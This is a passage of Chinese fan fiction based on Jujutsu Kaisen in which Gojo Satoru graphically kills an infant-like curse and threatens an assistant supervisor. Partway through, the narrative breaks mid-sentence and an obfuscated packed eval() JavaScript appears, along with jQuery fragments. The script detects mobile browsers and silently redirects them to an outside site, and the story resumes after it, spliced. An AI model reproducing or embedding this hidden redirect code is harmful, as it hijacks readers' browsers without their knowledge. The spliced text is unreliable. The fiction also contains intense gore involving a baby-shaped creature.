目前夏油杰能选择的最好办法就是先削弱咒灵的力量——像攻击其它咒灵那样攻击它。


    夏油杰给自己做了做心里建设，选择了不那么暴力的方式来攻击婴儿。


    被夏油杰攻击到的婴儿开始发出像人类婴儿一样的啼哭声——夏油杰更下不去手了。


    一旁的五条悟等的有点不耐烦，他不明白夏油杰在那边磨磨唧唧个什么劲儿。


    以他对夏油杰的了解，凭夏油杰的实力完全可以速战速决——这只咒灵虽然是只一级咒灵，但由于刚出生，空有一身力量，还不懂得怎么运用。除了对夏油杰第一次的攻击外，到现在都只是爬来爬去。


    等到五条悟发现夏油杰是在左右为难时，五条悟立刻懂了——夏油杰这个同情心泛滥的滥好人，是在对那只咒灵下不去手。


    五条悟不介意再帮夏油杰一把。


    五条悟趁着夏油杰的咒灵把婴儿按趴在地上时，灵巧的跳上了婴儿的背。


    他抬起脚，狠狠地将婴儿的头踩进了地板里。婴儿随即爆发出更加尖锐的哭声，连带着喊了好几声的“妈妈”。


    听到婴儿在哭叫“妈妈”，五条悟抬起脚又狠狠地踩了几下。他脚下动作不停，对着婴儿说：“你的妈妈已经死掉了。你是从妈妈的尸体里爬出来的，你忘了吗？”


    随着五条悟的动作，婴儿声音渐渐小了下去，最后发出虚弱的呜咽声。


    五条悟的脚没有从婴儿的头上移开，他维持着这个姿势对夏油杰说：“你太慢了，杰。”


    夏油杰看着这堪称虐杀的场面，一时间不知道该作何反应。


    五条悟将咒灵踩的脑浆与血液齐飞。展开无下限的罪魁祸首身上干干净净，站在旁边的夏油杰被迎面飞来的血肉糊了满脸满身。


    夏油杰虽然一直知道自己是普通人中的异类，但依然尽心尽力的去保护他们。他一直怀抱着幼年的理想走到现在，保护普通人已经成为本能。夏油杰从来没有动过伤害普通人的心思，更别说是去杀害一个婴儿。


    夏油杰对弱小的普通人抱有悲悯之心。


    看着五条悟的这副做派，他想，五条悟对人类的同情心应该是死在娘胎里了。


    夏油杰很懊悔——自己应该果断杀死这只咒灵。


    眼前的画面冲击感实在太强，夏油杰的表情管理一下子死机了。


    五条悟觉得夏油杰此时的表情真是有趣极了。


    五条悟倒不是有意虐杀，只是在不使用「苍」的情况下，对准咒灵的头部攻击是最有效的方式。如果换成一只面目可憎的咒灵，一切就显得合理起来。


    更何况，五条悟对于人类本就不抱有任何同情心。不论是大人还是小孩，对于五条悟来说都一样。


    五条悟此刻心情比较好，便好心的提点了夏油杰一句：“当「妈妈」上瘾了？这只是一只咒灵，杰。”


    五条悟的声音像一把利箭，穿透了让夏油杰喘不上气来的懊悔与怜悯。


    夏油杰的头脑清明起来——


    这只咒灵已经害死了一位无辜的孕妇。


    一尸两命。


    如果没有五条悟，他大概率要和这只咒灵苦战一番。


    五条悟看着夏油杰除了脸色苍白外又和平时一样的脸，觉得有点无趣。


    他有点理解那些喜欢向正派炫耀地反派了——让那些怀抱虚伪正义的家伙们露出幻灭的表情真的很有趣。


    如果夏油杰要做一个毁天灭地的大反派，他不介意客串一把保护人类的英雄，再让夏油杰幻灭一次。


    五条悟兴趣缺缺的从婴儿身上跳下来，示意夏油杰放开对婴儿的束缚。接着他一脚将被放开地婴儿踢的翻了一个面。


    仰面躺着的婴儿开始手足挥动地挣扎，五条悟相当暴力的轮番踩断了它的四肢。婴儿的挣扎虚弱了许多，五条悟便开始低着头研究婴儿的肚子。


    夏油杰麻木地看着这一切，觉得就算下一秒五条悟将婴儿开膛剖腹自己都能够接受。


    研究完的五条悟抬起手，迅速地插进婴儿的肚子里。婴儿随即爆发出垂死挣扎的哭叫声，可能它的发生器官已经被五条悟破坏，它发出的哭叫声怪异混浊，再也不像人类了。


    五条悟在婴儿肚子里翻找了一会，掏出来一个血淋淋的东西扔给了夏油杰。躺在地面上的咒灵就像失去了能源，逐渐变小，最终变得和正常婴儿那么大。


    夏油杰看了看手里的东西，那是一个粘满了血液、红彤彤的婴儿，看样子只在母亲子宫里呆了8个月。虽然全身器官和四肢已经发育完全，但比起足月儿仍然要来的羸弱。


    这么大的孩子，即使是意外早产也能够活下来。


    咒灵正是钻入了他的身体，吸食了他的生命，又控制着他从自己母亲的子宫里爬出来，害死了自己的母亲。


    咒灵以这个孩子的生命力作为自己的能源，成为了一种介于咒灵和人类的存在。所以夏油杰的咒灵操术对它没有用。


    五条悟甩甩手说：“把「这个」拿好了。出去后我要把他塞进外边那个废物的肚子里。剩下的留给那些做调查的废物们。”


    五条悟虽然不知道这家诊所在暗地里提供人流服务，但是已经发现这次面对的咒灵和辅助监督所说的完全不一样——不论是等级还是滋生原因。


    上层根本就没有调查。


    夏油杰手捧着婴儿的尸体没有吭声，他想好好将这个孩子安葬。


    没有得到回应的五条悟也不在意，他踢了踢脚边的咒灵，对夏油杰说：“刚才因为「那个」的原因没办法降伏，现在可以了吧？想要吗？”


    五条悟知道夏油杰的咒灵都是夏油杰自己降伏的，这一点夜蛾正道曾经对他提到过。他还知道夏油杰操纵咒灵不需要任何媒介。


    刚才夏油杰在控制住咒灵后做了一个抬手的动作，愣了一下后就改变策略开始磨磨唧唧的攻击。五条悟推测夏油杰抬手是为了降伏咒灵，改变策略是因为某种原因没办法降伏这只咒灵。


    当六眼观察到咒灵体内的独属于人类的咒力时，他明白了——夏油杰只能降伏纯粹的咒灵，这种介于人类和咒灵之间的存在，夏油杰的咒灵操术不管用。


    夏油杰听到五条悟的询问，十分怀疑五条悟的用心。经过这一系列的事情，他发现五条悟不是单纯能用善恶来判断的。


    他做事太随性。


    但是看到五条悟站在那边，一副他不开口就誓不罢休的模样，决定还是不要把五条悟想的太坏。夏油杰便开口向五条悟说了声谢谢。


    夏油杰话音未落，五条悟一脚将脚下的咒灵踩的灰飞烟灭。


    五条悟看着夏油杰裂开的表情，顿时心满意足。


    对面的夏油杰除了一瞬间表情裂开外，再没有其他反应，甚


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13571768|142927||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    至还对五条悟说：“抱歉。刚才是我的问题。”夏油杰是指自己同情咒灵的事。


    五条悟既没有期待夏油杰暴起和他打架，也不在意夏油杰说了什么。他已经看到了自己想看到的，便对夏油杰说：“什么都同情是会短命的。”


    说完五条悟转过身，一脚将满是裂痕的墙壁踹出一个大洞，从那个洞里跳了出去。


    等夏油杰来到别墅外边，辅助监督正在对着五条悟哭哭啼啼。作为一个男人来说，实在是太惨了。


    五条悟看到夏油杰，一把揪住辅助监督的衣领，将他提了起来。五条悟对夏油杰说：“杰，把那个「东西」拿过来，我要亲眼看他吞下去。”


    夏油杰拒绝道：“他是人类。我会找个地方安葬他。”


    五条悟朝夏油杰这边侧了侧头，接着对辅助监督说：“今天算你运气好，现在立刻去买10只芥末酱回来。”


    五条悟虽然性格恶劣，但知道有些事情不能做的过分。他刚才只是想吓唬一下辅助监督，况且刚才夏油杰已经很好的娱乐了他，他便放过了这件事。


    辅助监督发现夏油杰说的话似乎有用，抱着必死的决心问道：“墙面损坏需要出事故报告，我可以问下为什么墙会坏掉吗？”如果忽略他的眼泪和鼻涕的话，算得上是大义禀然了。


    夏油杰叹了口气，他也不知道五条悟为什么突然把墙踹出一个洞来。但是看辅助监督的样子，他们必须给出一个答案来，便说：“抱歉，是我不小心弄坏的。刚才咒灵挣扎的有点厉害。”


    五条悟一下松开了辅助监督的衣领，对着辅助监督说道：“是我干的。你已经废物到连风水都不会看了吗？那种四面没有窗户的房子，会聚集整个诊所的负面情绪。即使这次咒灵被祓除，没有窗户的话下次还会很快滋生出来。”


    说罢五条悟嫌弃的踹了辅助监督一脚，示意他看三楼的那个洞：“开窗的位置我已经选好了，记得让那个院长跪着来谢我。”


    “……”，夏油杰完全没考虑过风水的问题，只是感觉三楼格外的逼仄。看来又需要补课了。


    最终在夏油杰的劝说下，辅助监督当着五条悟的面只吞了一只芥末酱——五条悟是打算看着辅助监督将10只都吞下去的，但是夏油杰让他心情十分愉快，便宽容的顺着夏油杰了。


    一切结束后辅助监督开车带着他们去寺庙超度孩子，五条悟全程安安静静地陪在一边，又恢复到在咒术高专的样子。


    临下车时，五条悟对辅助监督说：“这次事故是你们这帮废物的错。来的不是我和杰的话，又会有人被你们害死。下次再被我碰到，你们就去陪葬吧。”


    这是五条悟今天第一次对辅助监督表现出杀意。夏油杰一边惊讶五条悟这说杀就杀的态度，一边又觉得上边这一系列操作实在很操蛋。便对辅助监督说：“今天很危险。如果来的人不是我们，确实容易出事。希望你们下次能谨慎一点。”


    说完就拉着五条悟下了车，示意辅助监督快点走。


    五条悟没理会夏油杰的小动作，自顾自的走了。


    今天的五条悟没有任何情绪波动。不论是虐杀似地攻击咒灵还是对辅助监督发出死亡威胁，似乎对于五条悟来说都稀松平常。


    在五条悟的糟糕性格之下，是一个冷静到冷酷的家伙。


    夏油杰隐隐约约窥到一点真实的五条悟。